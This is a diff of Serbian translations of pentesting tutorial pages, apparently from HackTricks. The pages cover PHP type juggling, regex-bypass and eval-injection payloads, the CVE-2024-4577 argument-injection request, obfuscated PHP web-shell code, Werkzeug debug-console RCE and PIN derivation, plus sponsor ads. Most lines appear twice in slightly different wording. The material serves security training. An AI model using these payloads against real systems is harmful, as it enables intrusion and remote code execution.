Ako se `==` koristi u PHP-u, postoje neočekivani slučajevi gde upoređivanje ne funkcioniše kako se očekuje. To je zato što "==" upoređuje samo vrednosti transformisane u isti tip, ako takođe želite da uporedite da li je tip upoređivanih podataka isti, morate koristiti `===`.
@ -53,16 +53,16 @@ PHP tabele upoređivanja: [https://www.php.net/manual/en/types.comparisons.php](
* `"string" == 0 -> True` String koji ne počinje brojem je jednak broju
* `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi)
* `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0
* `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga sledi bilo šta biće jednak 0
* `"0e12334" == "0" --> True` Ovo je veoma interesantno jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete da obezbedite vrednost koja će kreirati heš koji počinje sa "0e" i bez bilo kog slova, mogli biste da zaobiđete upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta će biti jednak 0
* `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga sledi bilo šta će biti jednak 0
* `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Svako slovo u stringu je jednako int 0
Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
**Type Juggling** takođe utiče na funkciju `in_array()` po defaultu (morate postaviti treći argument na true da biste napravili strogo upoređivanje):
**Prebacivanje tipova** takođe utiče na funkciju `in_array()` po defaultu (morate postaviti treći argument na true da biste napravili strogo upoređivanje):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -81,9 +81,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
Ista greška se javlja sa `strcasecmp()`
### Strogo prebacivanje tipova
### Strogo tipiziranje
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je **upoređivanje ranjivo** na **prebacivanje tipova**. Na primer, ako **upoređivanje konvertuje podatke u drugi tip objekta pre nego što ih uporedi**:
Čak i ako se koristi `===`, mogu se javiti greške koje čine da je **upoređivanje ranjivo** na **tipiziranje**. Na primer, ako **upoređivanje konvertuje podatke u drugi tip objekta pre upoređivanja**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -106,7 +106,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Da biste zaobišli ovu proveru, možete **poslati vrednost sa novim redovima urlkodiranim** (`%0A`) ili ako možete poslati **JSON podatke**, pošaljite ih u **several lines**:
Da biste zaobišli ovu proveru, možete **poslati vrednost sa novim redovima urlencoded** (`%0A`) ili ako možete poslati **JSON podatke**, pošaljite ih u **several lines**:
```php
{
"cmd": "cat /etc/passwd"
@ -114,10 +114,10 @@ Da biste zaobišli ovu proveru, možete **poslati vrednost sa novim redovima url
```
Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Zaobilaženje greške u dužini**
#### **Obilaženje greške u dužini**
(Ovo zaobilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga nateram da radi na PHP 7.3.15)\
Ako možete da pošaljete `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **zaobiđete** proveru. Na primer, ako se crna lista JSON, mogli biste poslati:
(Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga nateram da radi na PHP 7.3.15)\
Ako možete da pošaljete `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se crni spisak koristi za JSON, mogli biste poslati:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -129,7 +129,7 @@ Trik iz: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wri
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
Ukratko, problem se dešava zato što `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
Ukratko, problem se dešava jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
[Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se dublje govori o ovom problemu. Naš zadatak je sada bio jasan:\
**Pošaljite unos koji bi naterao regex da uradi 100\_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš unos nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system(<verybadcommand>)}` da bi dobili SSTI --> RCE --> flag :)**.
@ -162,9 +162,9 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Put Traversal i Eksploatacija Uključivanja Datoteka
## Put Traversal i Eksploatacija Uključivanja Fajlova
Proverite:
Proveri:
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
[file-inclusion](../../../pentesting-web/file-inclusion/)
@ -172,7 +172,7 @@ Proverite:
## Više trikova
* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register\_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što je $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti putem **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive** koje se koriste unutar koda.
* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register\_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što je $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive** koje se koriste unutar koda.
* **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste na različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\
Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2).
* Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<USERNAME>** da vidite da li su php direktorijumi aktivirani.
@ -180,8 +180,8 @@ Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** mož
### password\_hash/password\_verify
Ove funkcije se obično koriste u PHP-u da **generišu heširane vrednosti iz lozinki** i da **provere** da li je lozinka ispravna u poređenju sa hešom.\
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** A trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da heširate nešto veće od 72bajta sa ovim algoritmom, koristiće se samo prvih 72B:
Ove funkcije se obično koriste u PHP-u da **generišu hešove iz lozinki** i da **provere** da li je lozinka tačna u poređenju sa hešom.\
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** A trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da hešujete nešto veće od 72bajta sa ovim algoritmom, biće korišćeno samo prvih 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -203,8 +203,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Popunjavanje tela pre postavljanja zaglavlja
Ako **PHP stranica ispisuje greške i vraća neki unos koji je obezbedio korisnik**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša da **doda zaglavlja** u odgovor, server će baciti grešku.\
U sledećem scenariju **napadač je naterao server da baci neke velike greške**, i kao što možete videti na ekranu kada je PHP pokušao da **izmeni informacije o zaglavlju, nije mogao** (tako da, na primer, CSP zaglavlje nije poslato korisniku):
Ako **PHP stranica ispisuje greške i vraća neki unos koji je obezbedio korisnik**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša da **doda zaglavlja** u odgovor, server će izazvati grešku.\
U sledećem scenariju **napadač je naterao server da izbaci velike greške**, i kao što možete videti na ekranu kada je PHP pokušao da **izmeni informacije o zaglavlju, nije mogao** (tako da, na primer, CSP zaglavlje nije poslato korisniku):
![](<../../../.gitbook/assets/image (1085).png>)
@ -229,7 +229,7 @@ Proverite stranicu:
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Da bi se izvršio kod u "replace" argumentu, potrebna je barem jedna podudarnost.\
Da bi se izvršio kod u "replace" argumentu, potrebna je najmanje jedna podudarnost.\
Ova opcija preg\_replace je **ukinuta od PHP 5.5.0.**
### **RCE putem Eval()**
@ -247,7 +247,7 @@ Ova funkcija unutar php omogućava vam da **izvršite kod koji je napisan u stri
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Morate **razbiti** **sintaksu** koda, **dodati** svoj **payload**, a zatim **ponovo ga popraviti**. Možete koristiti **logičke operacije** kao što su "**and" ili "%26%26" ili "|"**. Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload neće biti izvršen. Na isti način ";" ne funkcioniše jer naš payload neće biti izvršen.
Morate **razbiti** **sintaksu** koda, **dodati** svoj **payload**, a zatim **ponovo popraviti**. Možete koristiti **logičke operacije** kao što su "**and" ili "%26%26" ili "|"**. Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload neće biti izvršen. Na isti način ";" ne funkcioniše jer naš payload neće biti izvršen.
**Druga opcija** je da dodate izvršenje komande u string: `'.highlight_file('.passwd').'`
@ -295,7 +295,7 @@ Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul
Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste da zloupotrebite ovo ponašanje da dobijete **RCE**.
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi).
* **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
* **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
1. Otpremite PHP datoteku koja sadrži naš shellcode
2. Otpremite drugu datoteku, koja sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši datoteku koju smo otpremili u koraku 1
3. Postavite `PHPRC` varijablu na datoteku koju smo otpremili u koraku 2.
@ -313,7 +313,7 @@ Web server analizira HTTP zahteve i prosleđuje ih PHP skripti koja izvršava za
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
Pored toga, moguće je injektovati parametar "-" koristeći karakter 0xAD zbog kasnije normalizacije PHP-a. Proverite. primer eksploatacije iz [**ove objave**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
Pored toga, moguće je injektovati parametar "-" koristeći karakter 0xAD zbog kasnije normalizacije PHP-a. Proverite primer eksploatacije iz [**ove objave**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -394,7 +394,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR easy shell code
Prema [**ovoj analizi** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način:
Prema [**ovoj analizi**](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
@ -470,9 +470,9 @@ $___($_[_]); // ASSERT($_POST[_]);
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Pogledajte iz perspektive hakera na vaše web aplikacije, mrežu i cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,25 +1,25 @@
# Werkzeug / Flask Debug
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
<summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -33,19 +33,19 @@ __import__('os').popen('whoami').read();
Postoji nekoliko eksploata na internetu kao [ovaj](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedan u metasploit-u.
## Zaštićeno PIN-om - Putanja Traversal
## Zaštićeno PIN-om - Putanja Prelaz
U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **vulnerabilnost putanje traversal**, možete leak-ovati sve potrebne informacije za generisanje tog PIN-a.
U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **ranjivost u prelazu datoteka**, možete da iscurite sve potrebne informacije za generisanje tog PIN-a.
### Werkzeug Console PIN Eksploit
Prisilite stranicu greške za debagovanje u aplikaciji da biste videli ovo:
Prisilite stranicu sa greškom za debagovanje u aplikaciji da biste videli ovo:
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti debug interfejsu Werkzeug-a, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi PIN konzole analizom algoritma za generisanje PIN-a u inicijalizacionom fajlu Werkzeug-a (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se savetuje da se pribavi stvarni kod servera putem ranjivosti pretraživanja fajlova zbog mogućih razlika u verzijama.
Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti debug interfejsu Werkzeug-a, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi PIN konzole analizom algoritma za generisanje PIN-a u inicijalizacionom fajlu Werkzeug-a (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug repozitorijuma izvornog koda**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se savetuje da se pribavi stvarni kod servera putem ranjivosti pretraživanja fajlova zbog mogućih razlika u verzijama.
Da bi se iskoristio PIN konzole, potrebna su dva skupa varijabli, `probably_public_bits` i `private_bits`:
@ -159,7 +159,7 @@ rv = num
print(rv)
```
Ovaj skript proizvodi PIN tako što hešira spojene bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da se stvarne vrednosti za `probably_public_bits` i `private_bits` moraju tačno dobiti iz ciljnog sistema kako bi se osiguralo da generisani PIN odgovara onom koji očekuje Werkzeug konzola.
Ovaj skript proizvodi PIN tako što hešira spojene bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da se stvarne vrednosti za `probably_public_bits` i `private_bits` moraju tačno dobiti iz ciljanog sistema kako bi se osiguralo da generisani PIN odgovara onom koji očekuje Werkzeug konzola.
{% hint style="success" %}
Ako ste na **starijoj verziji** Werkzeug-a, pokušajte da promenite **heš algoritam na md5** umesto sha1.
@ -184,7 +184,7 @@ To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -9,7 +9,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
@ -17,9 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -31,24 +31,24 @@ Nekoliko puta back-end veruje **Host header** da izvrši neke radnje. Na primer,
Imajte na umu da je moguće da ne morate ni da čekate da korisnik klikne na link za resetovanje lozinke da biste dobili token, jer možda čak i **spam filteri ili drugi posrednički uređaji/botovi će kliknuti na njega da ga analiziraju**.
{% endhint %}
### Sesijske boole
### Session booleans
Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosni atribut vaše sesije**. Tada će druga tačka znati da ste uspešno prošli tu proveru.\
Međutim, ako **prođete proveru** i vašoj sesiji je dodeljena ta "True" vrednost u sigurnosnom atributu, možete pokušati da **pristupite drugim resursima** koji **zavise od istog atributa** ali kojima **ne biste trebali imati dozvolu** za pristup. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosni atribut vaše sesije**. Tada će drugačiji endpoint znati da ste uspešno prošli tu proveru.\
Međutim, ako **prođete proveru** i vašoj sesiji je dodeljena ta "True" vrednost u sigurnosnom atributu, možete pokušati da **pristupite drugim resursima** koji **zavise od istog atributa** ali za koje **ne biste trebali imati dozvole** za pristup. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Funkcionalnost registracije
### Register functionality
Pokušajte da se registrujete kao već postojeći korisnik. Pokušajte takođe koristiti ekvivalentne karaktere (tačke, puno razmaka i Unicode).
Pokušajte da se registrujete kao već postojeći korisnik. Takođe pokušajte koristiti ekvivalentne karaktere (tačke, puno razmaka i Unicode).
### Preuzimanje emailova
### Takeover emails
Registrujte email, pre nego što ga potvrdite promenite email, zatim, ako je novi email za potvrdu poslat na prvi registrovani email, možete preuzeti bilo koji email. Ili ako možete omogućiti drugi email koji potvrđuje prvi, takođe možete preuzeti bilo koji nalog.
### Pristup internom servisnom stolu kompanija koristeći Atlassian
### Access Internal servicedesk of companies using atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
### TRACE metoda
### TRACE method
Programeri mogu zaboraviti da onemoguće razne opcije za debagovanje u produkcionom okruženju. Na primer, HTTP `TRACE` metoda je dizajnirana za dijagnostičke svrhe. Ako je omogućena, web server će odgovoriti na zahteve koji koriste `TRACE` metodu tako što će u odgovoru ponoviti tačan zahtev koji je primljen. Ovo ponašanje je često bezopasno, ali povremeno dovodi do otkrivanja informacija, kao što su imena internih autentifikacionih zaglavlja koja mogu biti dodata zahtevima od strane obrnjenih proksija.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
@ -57,9 +57,9 @@ Programeri mogu zaboraviti da onemoguće razne opcije za debagovanje u produkcio
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -72,7 +72,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
